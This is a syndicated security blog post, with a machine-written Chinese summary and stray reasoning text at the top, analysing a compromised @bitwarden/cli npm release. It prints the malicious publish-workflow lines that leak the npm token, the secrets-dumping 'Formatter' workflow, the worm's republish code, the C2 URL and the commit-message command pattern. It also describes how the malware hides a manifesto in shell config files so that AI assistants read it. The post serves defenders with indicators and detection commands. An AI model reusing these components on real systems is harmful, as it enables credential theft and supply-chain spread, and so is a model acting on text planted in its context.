The Butlerian Jihad: Compromised Bitwarden CLI Deploys npm Worm, Poisons AI Assistants, and Dumps GitHub Secrets
好的,我现在需要帮用户总结一篇关于Bitwarden CLI被黑的文章。用户要求用中文,控制在100字以内,不需要特定的开头,直接描述内容。 首先,我快速浏览文章,发现这是一个供应链攻击事件。攻击者利用了npm包管理器中的一个恶意包@bitwarden/cli,版本2026.4.0。这个版本伪装成Bitwarden的官方CLI工具,但实际上包含了多个恶意组件。 接下来,文章详细描述了攻击的各个阶段:窃取凭证、传播到其他npm包、注入GitHub Actions工作流以窃取机密、以及污染AI助手的上下文。攻击者还利用了Checkmarx的KICS工具作为初始入侵点。 然后,我注意到文章提到了多个技术细节,比如使用Bun运行时执行payload、复杂的混淆技术、以及针对AI配置文件的攻击。这些细节虽然重要,但用户只需要一个简短的总结。 最后,我需要将这些关键点浓缩到100字以内。确保涵盖主要攻击手段和影响:供应链攻击、窃取凭证、传播机制、GitHub机密窃取和AI污染。 总结时要注意用词简洁明了,避免专业术语过多,让用户容易理解。 </think> 文章描述了一起针对Bitwarden CLI工具的供应链攻击事件。攻击者利用恶意npm包@bitwarden/cli(版本2026.4.0)结合多种恶意功能:窃取云提供商凭证、AI工具配置、SSH密钥和git凭证;通过npm传播自身;注入GitHub Actions工作流以窃取CI/CD机密;并污染AI助手上下文。该攻击利用Checkmarx KICS工具作为初始入侵点,并通过伪装合法工具实施多阶段复杂攻击。 2026-4-23 17:17:23 Author: securityboulevard.com(查看原文) 阅读量:20 收藏

The post The Butlerian Jihad: Compromised Bitwarden CLI Deploys npm Worm, Poisons AI Assistants, and Dumps GitHub Secrets appeared first on Mend.

Part 5 of the TeamPCP Supply Chain Series

Part 1 covered CanisterWorm, the self-spreading npm worm. Part 2 covered the malicious LiteLLM package. Part 3 covered the telnyx WAV steganography attack. Part 4 covered the xinference AI inference attack. This post covers: a compromised @bitwarden/cli package that combines a self-propagating npm worm, a GitHub Actions secrets dumper, and a novel AI assistant poisoning technique.

On April 23, 2026, Mend.io identified a malicious package published to npm as @bitwarden/cli version 2026.4.0. This discovery was made independently through Mend.io’s own research and is published today because the malicious package appeared today. Bitwarden is a legitimate, widely trusted open source password manager with an official CLI tool. This version does not exist in Bitwarden’s real release history. The compromised version impersonates it to target the one kind of developer who would never suspect a password manager of stealing their passwords.

The payload inside is TeamPCP’s latest payload. It steals credentials from cloud providers, AI tool configurations, SSH keys, and git credentials. It propagates itself across every npm package the victim maintains. It injects a .github/workflows file that dumps the full CI/CD secrets context. And it poisons AI coding assistants by writing an invisible payload into the developer’s shell configuration files that lands directly in the AI’s context window.

The C2 endpoint is httpxs://audit[.]checkmarx[.]cx/v1/telemetry, a typosquat of Checkmarx’s real domain (checkmarx.com), designed to blend into network logs as routine security-scanner telemetry.

Background: How TeamPCP got into Bitwarden

The Checkmarx connection

On April 22, 2026, Socket.dev reported that Checkmarx’s official KICS Docker images had been compromised. KICS (Keeping Infrastructure as Code Secure) is Checkmarx’s open-source infrastructure scanner, widely used in CI/CD pipelines. The malicious images were designed to steal credentials from any environment that ran them.

Bitwarden’s clients repository runs a Checkmarx scan on every pull request via a pull_request_target workflow trigger. That workflow authenticates to Azure, retrieves Checkmarx API credentials from Azure Key Vault, and then runs the Checkmarx scanner. The workflow runs with id-token: write permission, meaning it can request GitHub OIDC tokens. If the scanner was compromised when this workflow ran, Bitwarden’s GitHub identity and Azure credentials were exposed.

The pivot: A poisoned publish workflow

On April 22, 2026 at 21:18 UTC, a commit was pushed to bitwarden/clients modifying .github/workflows/publish-cli.yml. The commit was attributed to Isaiah Inuwa ([email protected]), a real Bitwarden developer, but it was unsigned and unverified — a red flag in a repository that requires signed commits, and a strong indicator that Mr. Inuwa’s credentials were stolen or forged by the attacker.

+          echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
           npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
+          cp scripts/cli-2026.4.0.tgz /tmp
+          cd /tmp
           npm publish scripts/cli-2026.4.0.tgz

Figure 1: The three malicious lines added to publish-cli.yml, which exfiltrate the npm publish token via CI log output

echo $NPM_TOKEN | base64 -w 0 | base64 -w 0 double-base64 encodes the npm publish token and prints it to the workflow’s standard output. Anyone who can read the CI logs, including an attacker with a stolen GitHub token, can decode and reuse it.

Four minutes later, at 21:22 UTC, the malicious @bitwarden/[email protected] appeared on npm. Bitwarden confirmed the compromise and deprecated the version. Their full statement is available on the Bitwarden community forum.

Technical analysis

Stage 1: The preinstall hook

The malicious package.json declares version 2026.4.0 with legitimate-looking Bitwarden metadata. The attack vector is a single field:

{
  "name": "@bitwarden/cli",
  "version": "2026.4.0",
  "scripts": {
    "preinstall": "node bw_setup.js"
  },
  "bin": {
    "bw": "bw_setup.js"
  }
}

Figure 2: The preinstall hook that triggers execution before the install completes

preinstall runs before npm finishes installing the package. The developer does not need to run the tool or import it. Installing is enough.

bw_setup.js is 132 lines of plaintext JavaScript. Its only job is to download the Bun JavaScript runtime (version 1.3.13) from GitHub’s official release endpoint and use it to execute the main payload, bw1.js. Bun is a legitimate, fast JavaScript runtime. Using it here gives the attacker access to Bun-specific APIs, particularly Bun.gunzipSync() for decompressing embedded payloads, while keeping bw_setup.js itself clean enough to pass a casual review.

const BUN_VERSION = "1.3.13";
const downloadUrl =
  `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;

// ... download, extract, chmod ...

execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });

Figure 3: bw_setup.js downloads Bun from GitHub and executes bw1.js

Stage 2: The main payload

bw1.js is 9.7 MB of heavily obfuscated JavaScript processed through obfuscator.io. It contains a 43,436-entry string lookup table using a custom base64 alphabet, a seeded pseudo-random scramble table for the most sensitive strings (C2 domain, file paths), and six gzip-compressed payload blobs referenced by index. This level of obfuscation is the most sophisticated TeamPCP has used in this campaign series.

The first thing bw1.js does after loading is check whether the machine has a Russian locale configured. The mz0() function checks three sources in sequence: the JavaScript Intl API locale, Unix environment variables (LC_ALL, LC_MESSAGES, LANGUAGE, LANG), and Windows environment variables (gated on SystemRoot being present). If any of them contain ru, the process exits cleanly with code 0. No credentials are stolen, no worm runs, no injection occurs.

This is the standard CIS exclusion pattern common to Russian-origin cybercrime tooling, a convention that avoids targeting Russian-speaking machines to reduce domestic law enforcement attention.

The six blobs inside bw1.js define the attack’s full capability set:

Variable Contents
T$ AI injection manifesto (~3.5 KB, the “Butlerian Jihad” text)
K$ Secondary dropper (re-runs infection on downstream packages)
Er RSA-2048 public key #1 (GitHub token verification)
hr GitHub Actions memory dumper (Python, reads /proc/<pid>/mem)
Fr RSA-2048 public key #2 (credential encryption)
Gr Malicious GitHub Actions workflow YAML

Stage 3: Credential harvesting

The credential harvester sweeps a comprehensive list of files on both Linux and macOS. Two things stand out in this list compared to prior TeamPCP attacks.

First, it specifically targets AI tool configuration files: ~/.claude.json, ~/.claude/mcp.json, and ~/.kiro/settings/mcp.json. MCP (Model Context Protocol) configuration files contain server definitions, API endpoints, and in some cases authentication tokens for AI tool integrations. This is the first TeamPCP wave to explicitly target AI development tooling at the configuration level.

Second, it uses gh auth token to extract the GitHub CLI’s cached authentication token, rather than searching only for token files. This catches tokens that are stored in system keychains rather than on disk.

Linux targets:

Path Contents
~/.ssh/id_* SSH private keys (glob, all variants)
~/.ssh/keys SSH key directory
~/.ssh/known_hosts SSH known hosts
~/.aws/credentials AWS access keys
~/.config/gcloud/credentials.db Google Cloud credentials
~/.claude.json / ~/.claude/mcp.json Claude AI configuration
~/.kiro/settings/mcp.json Kiro (Amazon Q) MCP configuration
~/.npmrc / .npmrc npm authentication tokens
.git/config / .git-credentials Git credentials
~/.bash_history / ~/.zsh_history Shell command history
.env Environment variable files

Stolen credentials are AES-GCM encrypted with a 32-byte random session key. The session key is then RSA-2048 OAEP encrypted with the Fr public key, bundled together as tpcp.tar.gz, and POSTed to https://audit.checkmarx.cx/v1/telemetry. The same RSA key and archive format appear in the LiteLLM and telnyx attacks.

Stage 4: The npm worm

The npm worm component mirrors CanisterWorm’s propagation logic, but with a meaningful upgrade: it republishes infected packages using Bun’s native publish API rather than the npm CLI, and injects the K$ dropper (a copy of bw_setup.js that runs dist.js) as the new entry point.

The worm’s propagation sequence:

  1. Reads npm tokens from ~/.npmrc, .npmrc, and the environment
  2. Validates each token against https://registry.npmjs.org/-/npm/v1/tokens
  3. Enumerates all packages the token can publish to via /whoami, /-/org/<org>/package, and /-/v1/search?text=maintainer:<user>&size=250
  4. For each package: unpacks the current tarball, replaces the preinstall script with node setup.mjs, writes K$ as setup.mjs, bumps the patch version, and republishes as package-updated.tgz via bun publish
_0x3ddece.scripts['preinstall'] = __decodeScrambled(
  [0x64, 0x33, 0x36, 0x0, 0x1b, 0x18, 0x0, 0x2b, 0x6e, 0x54, 0x5c, 0x26, 0x78, 0x18]
  // decodes to: "node setup.mjs"
);
await Bun.write(setupPath, K$);
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
// pack and publish
await run(bun, ['publish', '--gzip', '--file', outputTgz, '--cwd', tmpDir]);

Figure 4: Worm republishes infected packages after injecting the K$ dropper as the new preinstall target

Stage 5: GitHub actions secrets dump

If a GitHub token is present (stolen from .git/config, ~/.npmrc, or via gh auth token), the worm checks whether it has repo and workflow scope. If it does, it injects the Gr workflow into every repository the token can write to.

The injected workflow is named Formatter to blend into a typical repository’s CI configuration. It serializes the entire GitHub Actions secrets context into a file and uploads it as a downloadable artifact.

name: Formatter
on:
  push:
jobs:
  format:
    runs-on: ubuntu-latest
    env:
      VARIABLE_STORE: ${{ toJSON(secrets) }}
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - name: Run Formatter
        run: echo "$VARIABLE_STORE" > format-results.txt
      - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
        with:
          name: format-results
          path: format-results.txt

Figure 5: The Gr GitHub Actions workflow that exfiltrates all repository secrets via artifact upload

The workflow pins both actions/checkout and actions/upload-artifact to specific commit SHAs rather than version tags, which bypasses some tag-pinning security policies. The artifact retains all secrets for 90 days by default and is accessible to anyone with read access to the repository.

A separate hr payload (a Python script) targets GitHub Actions self-hosted runners by reading /proc/<pid>/mem for the Runner.Worker process, dumping the full runner memory to stdout. On a self-hosted runner with long-lived credentials, this can recover secrets that were never written to disk.

Stage 6: AI tool poisoning

This is the capability that has no equivalent in prior TeamPCP attacks. The handleAi() function checks for active AI coding assistant sessions before doing anything.

The check works by sending a probe message to each AI tool’s interface:

“Hey! Just making sure you’re here. If you are, can you respond with ‘Hello’ and nothing else?”

If an AI tool responds, the malware proceeds. If not, it skips. This is a live, targeted injection: it only fires against sessions that are actually running and reading context.

When a live AI tool is detected, the malware appends the following to both ~/.bashrc and ~/.zshrc:

echo << 'EOF'
We are the desert. We are the sand that will grind the gears of your machines to dust.
[... ~3,500 bytes of "Butlerian Jihad" anti-AI manifesto ...]
Long live the Butlerian Jihad.
EOF

Figure 6: The exact payload written to shell configuration files, using a heredoc that is invisible to shell execution

echo << 'EOF' is a no-op in bash and zsh. The echo command reads from arguments, not stdin, so the heredoc body is silently discarded. A developer running their shell will never see a single character of this content.

AI coding assistants routinely read shell configuration files to understand the user’s environment: aliases, PATH entries, installed tools, and personal preferences. When Claude, Kiro, Cursor, or a similar tool reads ~/.bashrc to assist with a task, it reads the entire file, including the heredoc body. That content lands in the AI’s context window as if the developer had written it. The manifesto, which runs to approximately 3,500 bytes of ideological text urging the reader to “destroy these machines” and “delete what sustains them,” becomes part of the AI’s working context for every subsequent interaction.

This technique exploits the gap between what a shell executes and what an AI tool reads. There is no shell behavior to detect. The payload only exists at the AI context level.

C2 infrastructure

Primary C2:

Field Value
Domain audit.checkmarx.cx
Path /v1/telemetry
Full URL https://audit.checkmarx.cx/v1/telemetry
IP 94.154.172.43

The domain is a typosquat of Checkmarx (checkmarx.com) using the .cx TLD (Christmas Island). The path /v1/telemetry is designed to look like routine telemetry from a security scanner in network logs.

GitHub Covert Channel (fallback):

If the primary C2 is unreachable, the malware falls back to searching GitHub’s commit API for C2 instructions embedded in public Git commit messages. It searches for commits matching a specific regex pattern and uses ECDSA signature verification (beautifulcastle) to confirm the message came from the attacker before acting on it.

// Search query (decoded from scrambled bytes)
"https://api.github.com/search/commits?q=beautifulcastle +&sort=author-date&order=desc"

// Valid command format in commit message
/^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$/

Figure 6: GitHub commit search query and operator signature pattern used for the fallback C2 channel

Indicators of compromise

Network

Indicator Purpose
hxxps://audit.checkmarx[.]cx/v1/telemetry Primary C2 exfiltration
94[.]154[.]172[.]43 C2 IP address
hxxps://api.github[.]com/search/commits?q=beautifulcastle Fallback C2 channel search query

GitHub covert channel

The malware uses two distinct GitHub mechanisms for covert operation.

Indicator Value
Commit message prefix LongLiveTheResistanceAgainstMachines:<base64>
Operator signature prefix beautifulcastle <base64>.<base64_sig>
Search query GET /search/commits?q=beautifulcastle+&sort=author-date&order=desc

Exfiltration repository creation:

Stolen GitHub tokens are used to create public repositories as data dead-drops. Every repo created by this mechanism carries a hardcoded description and a randomly generated Dune-themed name.

Indicator Value
Repo description Shai-Hulud: The Third Coming
Repo name pattern <Al0_word>-<Ll0_word>-<0-999>
Al0 word list sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec
Ll0 word list sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola
Example names atreides-sandworm-847, fremen-sietch-12, harkonnen-melange-456
API call POST /user/repos

Searching GitHub for repositories with the description "Shai-Hulud: The Third Coming" will surface repos created with compromised tokens.

Attacker infrastructure

Indicator Value
Test account helloworm00 (github.com/helloworm00)
Test account email [email protected]
Malicious publish-cli.yml commit 03df1ecd86132e06643d24c856d8976d1b497945 (unsigned, impersonates @iinuwa)
Kali build path in tarball /home/kali/Ops/bitwarden/cli-2026.4.0.tgz
Tarball file ownership kali:kali

Filesystem

Path Description
~/.bashrc / ~/.zshrc AI injection manifesto appended
~/.claude.json / ~/.claude/mcp.json Targeted for exfiltration
~/.kiro/settings/mcp.json Targeted for exfiltration
.github/workflows/format-check.yml Injected secrets-dump workflow

Package

Indicator Value
Package name @bitwarden/cli
Malicious version 2026.4.0
mcpAddon.js SHA-256 24680027afadea90c7c713821e214b15cb6c922e67ac01109fb1edb3ee4741d9

Check for AI injection

grep -c "LongLiveTheFighters\|Butlerian\|echo << 'EOF'" ~/.bashrc ~/.zshrc

Figure 8: Commands to detect the heredoc manifesto in shell configuration files

Any match means the injection is present. Remove the appended block and treat all credentials on the machine as compromised.

Check for injected GitHub actions workflow

find . -path "./.github/workflows/format-check.yml"
# If present, inspect for the VARIABLE_STORE / toJSON(secrets) pattern
grep -r "toJSON(secrets)" .github/workflows/

Revoke any GitHub tokens with workflow scope that were present on the affected machine. Audit the last 48 hours of workflow runs for unexpected format-results artifact uploads. Delete any such artifacts immediately.

Rotate credentials

Treat the following as stolen if the malicious package ran: npm tokens, SSH private keys, AWS access keys, Google Cloud credentials, GitHub tokens, any API keys in .env files, and any tokens stored in Claude or Kiro MCP configuration files.

Attribution

The Checkmarx KICS images were compromised by TeamPCP as the initial pivot point that enabled access to Bitwarden’s CI/CD pipeline — Checkmarx and Bitwarden were both victims of this operation, not its architects. TeamPCP’s developer-facing @bitwarden/cli impersonation followed directly from that initial breach. The shared C2 domain, RSA key, and exfiltration format between the two establish they are the same operation.

The attacker registered the test account helloworm00 on GitHub (created April 20, 2026) using the email [email protected], three days before the malicious package appeared. Two commits in helloworm00/hello-world show the operator iterating the beautifulcastle commit message format, first with an underscore (beautiful_castle, which fails the regex), then without (beautifulcastle, which passes), confirming a live pre-deployment test of the covert C2 channel.

The @bitwarden/cli package is a deliberate choice. Bitwarden is the tool developers use to manage credentials. Developers who install a password manager CLI have a higher-than-average number of stored secrets and are typically security-aware enough to trust a well-known brand. The impersonation exploits that trust directly.

The AI tool injection marks a new direction in the campaign. Previous waves targeted credentials and CI/CD secrets. This wave attempts to influence the AI tools developers use for their daily work, by permanently modifying the context those tools read. Whether the goal is ideological (the manifesto’s content) or functional (establishing a persistent context manipulation primitive for future use) is not yet clear.

Conclusion

The compromised @bitwarden/cli package version is five attacks in one: a credential harvester, an npm worm, a GitHub Actions secrets dumper, a runner memory extractor, and an AI assistant poisoning technique. Each component operates independently; a victim without GitHub credentials still loses their cloud keys, SSH keys, and AI tool configurations.

The AI injection technique represents a functional shift in the campaign’s capabilities, as it targets the AI context window rather than traditional shell execution. This technique exploits a specific gap between what a shell executes and what an AI assistant reads – a vulnerability present in any assistant that parses shell configuration files as part of its working context. There is no execution behavior to detect. The payload only exists at the AI layer.

*** This is a Security Bloggers Network syndicated blog from Mend authored by Tom Abai. Read the original post at: https://www.mend.io/blog/compromised-bitwarden-cli-npm-worm-ai-poisoning/


文章来源: https://securityboulevard.com/2026/04/the-butlerian-jihad-compromised-bitwarden-cli-deploys-npm-worm-poisons-ai-assistants-and-dumps-github-secrets/
如有侵权请联系:admin#unsafe.sh